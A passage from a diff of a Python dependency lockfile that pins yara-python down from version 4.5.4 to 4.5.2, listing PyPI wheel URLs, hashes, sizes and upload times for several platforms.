"https://files.pythonhosted.org/packages/7a/40/461d76a5ec526679e58efca35383d3511cade8c8fc8868ad9f97bea21a1a/yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98", size = 2946194, upload-time = "2025-05-27T14:14:14.717Z" }, - { url = "https://files.pythonhosted.org/packages/33/d2/656319472612d821d224ef2a79dc5b8339332aa03e4586e5fd9ec0c45f4e/yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7", size = 2416600, upload-time = "2025-05-27T14:14:16.269Z" }, - { url = "https://files.pythonhosted.org/packages/5e/76/5ec476aa39e81d4dd5e26071f6b2c763c4a7d7f628dff3370fe6053ba9ac/yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d", size = 2636555, upload-time = "2025-05-27T14:14:18.082Z" }, - { url = "https://files.pythonhosted.org/packages/f1/b5/26cdb3d13b91625dc35a68aca2db8cb62d6c6d5e7b83d97981b350163dd3/yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f", size = 1447301, upload-time = "2025-05-27T14:14:19.635Z" }, - { url = "https://files.pythonhosted.org/packages/be/21/68f211559de12eac0cb0fd8dbda279cadb0cc681cc4dc6394f9e06dfd4e2/yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42", size = 1825559, upload-time = "2025-05-27T14:14:21.508Z" }, - { url = "https://files.pythonhosted.org/packages/17/17/f0bc4a643d8c3afb485c34b70fe1d161f3fe0459361d2eb3561d23cc16e1/yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de", size = 2471737, upload-time = "2025-05-27T14:14:23.876Z" }, - { url = "https://files.pythonhosted.org/packages/3f/11/39c74fc2732b89d4a5a6ad272b2b60ec84b3aae53b120a9eccc742eec802/yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95", size = 208862, upload-time = "2025-05-27T14:14:25.941Z" }, - { url = "https://files.pythonhosted.org/packages/05/ef/ff38abffe3c5126da0b4f31471bc6df2e38f4f532a65941a1a8092cddb4f/yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc", size = 2478391, upload-time = "2025-05-27T14:14:27.802Z" }, - { url = "https://files.pythonhosted.org/packages/69/97/638f0f6920250dd4cc202f05d2b931c4aeb8ea916ae185cd15b9dacf9ae4/yara_python-4.5.4-cp311-cp311-macosx_15_0_x86_64.whl", hash = "sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84", size = 209304, upload-time = "2025-05-27T14:14:29.663Z" }, - { url = "https://files.pythonhosted.org/packages/2a/08/e9396374b8d4348f71db28dabbcbde21ceb0e68c604a4de82ab4f1c286e9/yara_python-4.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a", size = 2242098, upload-time = "2025-05-27T14:14:31.001Z" }, - { url = "https://files.pythonhosted.org/packages/58/fa/b159db2afedef12d5de32b6eb7c087a78c29dc51fc5111475bbd96759744/yara_python-4.5.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd", size = 2324289, upload-time = "2025-05-27T14:14:32.852Z" }, - { url = "https://files.pythonhosted.org/packages/ad/1e/8846d6c37e3cc5328ac90d888ac60599ed62f1ffcb7d68054ad60954df4a/yara_python-4.5.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3", size = 2329563, upload-time = "2025-05-27T14:14:34.758Z" }, - { url = "https://files.pythonhosted.org/packages/35/db/d6de595384e357366a8e7832876e5d9be56629e29e12d2a9325cc652e855/yara_python-4.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678", size = 2947661, upload-time = "2025-05-27T14:14:37.419Z" }, - { url = "https://files.pythonhosted.org/packages/b9/26/35d67095b0b000315545c59b2826166371d005f9815ca6c7c79a87e6c4cc/yara_python-4.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc", size = 2417932, upload-time = "2025-05-27T14:14:40.402Z" }, - { url = "https://files.pythonhosted.org/packages/8f/28/760d114cea3f160e3f862d747208a09150974a668a49c0cee23a943006c4/yara_python-4.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df", size = 2638058, upload-time = "2025-05-27T14:14:42.141Z" }, - { url = "https://files.pythonhosted.org/packages/74/9d/e208dd3ffc38a163d18476d2f758c24de8ece67c9d59c654a6b5b400fd96/yara_python-4.5.4-cp311-cp311-win32.whl", hash = "sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce", size = 1447300, upload-time = "2025-05-27T14:14:44.091Z" }, - { url = "https://files.pythonhosted.org/packages/85/ad/23ed18900f6024d5c1de567768c12a53c5759ac90d08624c87c816cd7249/yara_python-4.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b", size = 1825566, upload-time = "2025-05-27T14:14:45.879Z" }, - { url = "https://files.pythonhosted.org/packages/5a/cc/deaf10b6b31ee81842176affce79d57c3b6df50e894cf6cdbb1f0eb12af2/yara_python-4.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace", size = 2471771, upload-time = "2025-05-27T14:14:47.381Z" }, - { url = "https://files.pythonhosted.org/packages/b1/47/9227c56450be00db6a3a50ccf88ba201945ae14a34b80b3aae4607954159/yara_python-4.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c", size = 208991, upload-time = "2025-05-27T14:14:48.832Z" }, - { url = "https://files.pythonhosted.org/packages/5b/0d/1f2e054f7ddf9fd4c873fccf63a08f2647b205398e11ea75cf44c161e702/yara_python-4.5.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2", size = 2478413, upload-time = "2025-05-27T14:14:50.205Z" }, - { url = "https://files.pythonhosted.org/packages/10/ab/96e2d06c909ba07941d6d303f23624e46751a54d6fd358069275f982168c/yara_python-4.5.4-cp312-cp312-macosx_15_0_x86_64.whl", hash = "sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89", size = 209401, upload-time = "2025-05-27T14:14:52.017Z" }, - { url = "https://files.pythonhosted.org/packages/df/7d/e51ecb0db87094976904a52eb521e3faf9c18f7c889b9d5cf996ae3bb680/yara_python-4.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7", size = 2245326, upload-time = "2025-05-27T14:14:53.338Z" }, - { url = "https://files.pythonhosted.org/packages/4c/5e/fe93d8609b8470148ebbae111f209c6f208bb834cee64046fce0532fcc70/yara_python-4.5.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd", size = 2327041, upload-time = "2025-05-27T14:14:54.915Z" }, - { url = "https://files.pythonhosted.org/packages/52/06/104c4daa22e34a7edb49051798126c37f6280d4f1ea7e8888b043314e72d/yara_python-4.5.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24", size = 2332343, upload-time = "2025-05-27T14:14:56.424Z" }, - { url = "https://files.pythonhosted.org/packages/cd/38/4b788b8fe15faca08e4a52c0b3dc8787953115ce1811e7bf9439914b6a5b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e", size = 2949346, upload-time = "2025-05-27T14:14:57.924Z" }, - { url = "https://files.pythonhosted.org/packages/53/3a/c1d97172aa9672f381df78b4d3a9f60378f35431ff48f4a6c45037057e07/yara_python-4.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf", size = 2421057, upload-time = "2025-05-27T14:15:00.118Z" }, - { url = "https://files.pythonhosted.org/packages/ba/cc/c6366d6d047f73594badd5444f6a32501e8b20ab1a7124837d305c08b42b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6", size = 2639871, upload-time = "2025-05-27T14:15:02.63Z" }, - { url = "https://files.pythonhosted.org/packages/e6/5c/edacbd11db432ac04a37c9e3a7c569986256d9659d1859c6f828268dfeed/yara_python-4.5.4-cp312-cp312-win32.whl", hash = "sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77", size = 1447403, upload-time = "2025-05-27T14:15:04.193Z" }, - { url = "https://files.pythonhosted.org/packages/ad/e1/f6a72c155f3241360da890c218911d09bf63329eca9cfa1af64b1498339b/yara_python-4.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47", size = 1825743, upload-time = "2025-05-27T14:15:05.678Z" }, - { url = "https://files.pythonhosted.org/packages/74/7f/9bf4864fee85f86302d78d373c93793419c080222b5e18badadebb959263/yara_python-4.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4", size = 2471811, upload-time = "2025-05-27T14:15:07.55Z" }, - { url = "https://files.pythonhosted.org/packages/44/58/dca36144c44b0613dbc39c70cc32ee0fc9db1ba9e5fa15f55657183f4229/yara_python-4.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b", size = 209044, upload-time = "2025-05-27T14:15:09.142Z" }, - { url = "https://files.pythonhosted.org/packages/8b/4c/997be6898cdda211cb601ae2af40a2dbd89a48ba9889168ddd3993636e97/yara_python-4.5.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c", size = 2478416, upload-time = "2025-05-27T14:15:10.58Z" }, - { url = "https://files.pythonhosted.org/packages/b6/29/91d5911d6decdd8a96bb891cacd8922569480ff1d4b47e7947b5dfc7f1d6/yara_python-4.5.4-cp313-cp313-macosx_15_0_x86_64.whl", hash = "sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c", size = 209441, upload-time = "2025-05-27T14:15:12.173Z" }, - { url = "https://files.pythonhosted.org/packages/87/9b/e21f534f33062f2e5f6dceec3cb4918f4923264b1609652adc0c83fe2bde/yara_python-4.5.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a", size = 2245135, upload-time = "2025-05-27T14:15:13.569Z" }, - { url = "https://files.pythonhosted.org/packages/70/8e/3618d2473f1e97f3f91d13af5b1ed26381c74444f6cdebb849eb855b21ca/yara_python-4.5.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543", size = 2326864, upload-time = "2025-05-27T14:15:15.321Z" }, - { url = "https://files.pythonhosted.org/packages/99/ee/21477d4c83e7f267ff7d61a518eb1b2d3eb7877031c5c07bd1dc0a54eb95/yara_python-4.5.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71", size = 2331976, upload-time = "2025-05-27T14:15:17.138Z" }, - { url = "https://files.pythonhosted.org/packages/9f/5d/2680831aa43d181a0cc023ba89132ff6f03a0532f220cde27bccd60d54e2/yara_python-4.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f", size = 2949066, upload-time = "2025-05-27T14:15:18.822Z" }, - { url = "https://files.pythonhosted.org/packages/9e/76/e89ec354731b1872462fa9cfdfc6d4751c272b3f43fa55523a8f0fcdd48a/yara_python-4.5.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47", size = 2420758, upload-time = "2025-05-27T14:15:20.505Z" }, - { url = "https://files.pythonhosted.org/packages/0c/28/9499649cb2cb42592c13ca6a15163e0cbf132c2974394de171aa5f8b49e4/yara_python-4.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78", size = 2639628, upload-time = "2025-05-27T14:15:22.142Z" }, - { url = "https://files.pythonhosted.org/packages/ac/37/e8f2b9a2287070f39fa6a5afbcf1ed6762f60ab3b1fb08018732838ccc25/yara_python-4.5.4-cp313-cp313-win32.whl", hash = "sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0", size = 1447395, upload-time = "2025-05-27T14:15:25.237Z" }, - { url = "https://files.pythonhosted.org/packages/cc/a0/40b0291c8b24d13daf0e26538c9f3a0d843c38c6446dd17f36335bdd5b5f/yara_python-4.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829", size = 1825779, upload-time = "2025-05-27T14:15:26.802Z" }, +version = "4.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/12/73703b53de2d3aa1ead055d793035739031793c32c6b20aa2f252d4eb946/yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce", size = 550836, upload-time = "2025-05-02T11:17:48.851Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/77/8576d9ad375d396aabd87cf2510d3696440d830908114489a1e72df0e8f9/yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0", size = 402000, upload-time = "2025-05-02T11:16:28.228Z" }, + { url = "https://files.pythonhosted.org/packages/cf/ca/9696ebaa5b345aa1d670b848af36889f01bea79520598e09d2c62c5e19ad/yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c", size = 208581, upload-time = "2025-05-02T11:16:30.205Z" }, + { url = "https://files.pythonhosted.org/packages/07/08/e3e6c3641b5713a6d9628ed654ee1b69e215bafc2e91b9ce9dc24a7a5215/yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f", size = 2471737, upload-time = "2025-05-27T12:41:53.176Z" }, + { url = "https://files.pythonhosted.org/packages/7c/19/140dc9e0ea3b27b00a239a7bd4c839342da9b5326551f2b0607526aca841/yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa", size = 208855, upload-time = "2025-05-27T12:41:55.015Z" }, + { url = "https://files.pythonhosted.org/packages/45/a9/88997ec3d6831d436e4439be4197cd70c764b9fbaf1ef904a2dba870c920/yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8", size = 2478386, upload-time = "2025-05-27T12:41:56.691Z" }, + { url = "https://files.pythonhosted.org/packages/6e/15/f6e79e3b70bff4c11e13dfe833f6e28bdd4b3674b51e05008821182918e5/yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a", size = 209299, upload-time = "2025-05-27T12:41:58.149Z" }, + { url = "https://files.pythonhosted.org/packages/da/f9/54bb72a4c8d79c22b211bb30065281de785ee638fa3e5856b6c7a8fd60e5/yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350", size = 2239744, upload-time = "2025-05-02T11:16:31.793Z" }, + { url = "https://files.pythonhosted.org/packages/8d/13/18e66baf4d6220692d4e8957796386524dc32053ccd8118dfb93c241afb2/yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990", size = 2322426, upload-time = "2025-05-02T11:16:33.158Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c6/571f8d5dcd682038238a50f0101572cbecee50e20e51bf0de2f75bf00723/yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c", size = 2326899, upload-time = "2025-05-02T11:16:34.587Z" }, + { url = "https://files.pythonhosted.org/packages/c0/f7/f12b796841995131515abef4ae2b6e9a6ac2dc9f397d3e18d77a9a607b5f/yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44", size = 2945990, upload-time = "2025-05-02T11:16:36.155Z" }, + { url = "https://files.pythonhosted.org/packages/24/fa/82fc55fdfc4c2e8fe94495063d33eafccacc7b3afd3122817197a52c3523/yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d", size = 2416586, upload-time = "2025-05-02T11:16:37.666Z" }, + { url = "https://files.pythonhosted.org/packages/e3/23/6b9f097bcfb6e47da068240034422a543b6c55ef32f3500c344ddbe0f1da/yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742", size = 2636130, upload-time = "2025-05-02T11:16:40.042Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d6/01d7ff8281e10b8fced269bf022d471d70cc7213b055f48dbae329246c52/yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df", size = 1447051, upload-time = "2025-05-02T11:16:41.519Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0d/5a8b3960af506f62391568b27a4d809d0f85366d3f9edd02952e75757868/yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023", size = 1825447, upload-time = "2025-05-02T11:16:43.077Z" }, + { url = "https://files.pythonhosted.org/packages/a7/e0/a52e0e07bf9ec1c02a3f2136111a8e13178a41a6e10f471bcafea5e0cdb5/yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af", size = 402007, upload-time = "2025-05-02T11:16:44.457Z" }, + { url = "https://files.pythonhosted.org/packages/12/92/e76cab3da5096a839187a8e42f94cb960be179d6fba2af787b1fd8c7f7aa/yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e", size = 208581, upload-time = "2025-05-02T11:16:45.806Z" }, + { url = "https://files.pythonhosted.org/packages/8f/cf/73759180b5d3ccb0ba18712a4bce7e3aee88935ccf76d8fc954dff89947a/yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a", size = 2241764, upload-time = "2025-05-02T11:16:47.061Z" }, + { url = "https://files.pythonhosted.org/packages/dd/64/275394c7ed93505926bb6f17e85abdf36efc2f1dc5c091c8f674adb1ec02/yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822", size = 2323680, upload-time = "2025-05-02T11:16:48.504Z" }, + { url = "https://files.pythonhosted.org/packages/6a/84/1753c2c0e5077e4e474928617a245576b61892027afa851f1972905e842a/yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c", size = 2328530, upload-time = "2025-05-02T11:16:49.938Z" }, + { url = "https://files.pythonhosted.org/packages/93/c3/9c035b9bad05156ad79399e96527ee09fb44734504077919459e83c39401/yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd", size = 2947508, upload-time = "2025-05-02T11:16:51.731Z" }, + { url = "https://files.pythonhosted.org/packages/05/8b/d0e06cdc5767f64516864fb9d9a49a3956801cb1c76f757243dad7cb3891/yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26", size = 2418145, upload-time = "2025-05-02T11:16:53.248Z" }, + { url = "https://files.pythonhosted.org/packages/bb/b6/8505c7486935b277622703ae7f3fb1ee83635d749facf0fed99aeb2078e3/yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153", size = 2637499, upload-time = "2025-05-02T11:16:55.106Z" }, + { url = "https://files.pythonhosted.org/packages/a1/3b/7bdf6a37b4df79f9c51599d5f02f96e8372bd0ddc53a3f2852016fda990f/yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06", size = 1447050, upload-time = "2025-05-02T11:16:56.868Z" }, + { url = "https://files.pythonhosted.org/packages/78/1f/99fdeafb66702a3efe9072b7c8a8d4403938384eac7b4f46fc6e077ec484/yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1", size = 1825468, upload-time = "2025-05-02T11:16:58.219Z" }, + { url = "https://files.pythonhosted.org/packages/1b/1c/c91a0af659d7334e6899db3e9fc10deb0dae56232ac036bddc2f6ce14a7b/yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a", size = 403092, upload-time = "2025-05-02T11:16:59.62Z" }, + { url = "https://files.pythonhosted.org/packages/6c/87/146e9582e8f5b069d888ec410c02c4b3501ec024f2985b4903177d18dda1/yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86", size = 209528, upload-time = "2025-05-02T11:17:00.913Z" }, + { url = "https://files.pythonhosted.org/packages/0e/51/a41f6b62c4b7990dbc94582200bbd7fe52ee8e0aa2634c3733705811c93d/yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b", size = 2244678, upload-time = "2025-05-02T11:17:02.332Z" }, + { url = "https://files.pythonhosted.org/packages/82/79/c3f96ff13349b0efd25b70f4ae423d37503116badf2af27df4e645f1f107/yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94", size = 2326396, upload-time = "2025-05-02T11:17:03.824Z" }, + { url = "https://files.pythonhosted.org/packages/89/76/b55016776948b01fc3c989dd0257ee675ca1ce86011f502db7aa84cb9cd4/yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722", size = 2331464, upload-time = "2025-05-02T11:17:05.674Z" }, + { url = "https://files.pythonhosted.org/packages/90/1d/4b9470380838b96681ed6b6254e7d236042b7871c0b662c4b8e9469eacf0/yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294", size = 2949283, upload-time = "2025-05-02T11:17:07.191Z" }, + { url = "https://files.pythonhosted.org/packages/9d/9e/65de40d1cd60386675d03a2a0c7679274e2be0fb76eaa878622a21497db8/yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004", size = 2420959, upload-time = "2025-05-02T11:17:08.691Z" }, + { url = "https://files.pythonhosted.org/packages/6b/43/742d44b76c2483aebdf5b8c0495556416de7762c9becec18869f8830df01/yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0", size = 2639613, upload-time = "2025-05-02T11:17:10.301Z" }, + { url = "https://files.pythonhosted.org/packages/ef/56/e7713f9e7afd51d3112b5c4c6a3d3a4f84ed7baf807967043a9ac7773f1b/yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120", size = 1447526, upload-time = "2025-05-02T11:17:12.002Z" }, + { url = "https://files.pythonhosted.org/packages/c1/90/65e96967cbfc65fd5d117580cb7601bc79d0c95f9dbd8b0ffbf25cdd0114/yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588", size = 1825673, upload-time = "2025-05-02T11:17:13.934Z" }, + { url = "https://files.pythonhosted.org/packages/0f/36/c55ff5d0abe89faffddff23c266b0247b93016eb97830bf079c873f9721c/yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8", size = 403087, upload-time = "2025-05-02T11:17:15.706Z" }, + { url = "https://files.pythonhosted.org/packages/4c/de/2d28216b23beca46d9eb3784c198cbf48068437b2220359f372d56a32dc0/yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae", size = 209503, upload-time = "2025-05-02T11:17:17.42Z" }, + { url = "https://files.pythonhosted.org/packages/c5/ae/6a170b8eabffb3086b08f20ad9abfe7eb060c2ca06f6cf8b860155413575/yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6", size = 2244791, upload-time = "2025-05-02T11:17:18.762Z" }, + { url = "https://files.pythonhosted.org/packages/4a/b9/1b361bec1b7d1f216303ca8dbf85f417cf20dba0543272bb7897e7853ce7/yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213", size = 2326306, upload-time = "2025-05-02T11:17:20.241Z" }, + { url = "https://files.pythonhosted.org/packages/9e/b7/ca274eee26237ae60da2bca66288737d7b503aa67032b756059cdb69d254/yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 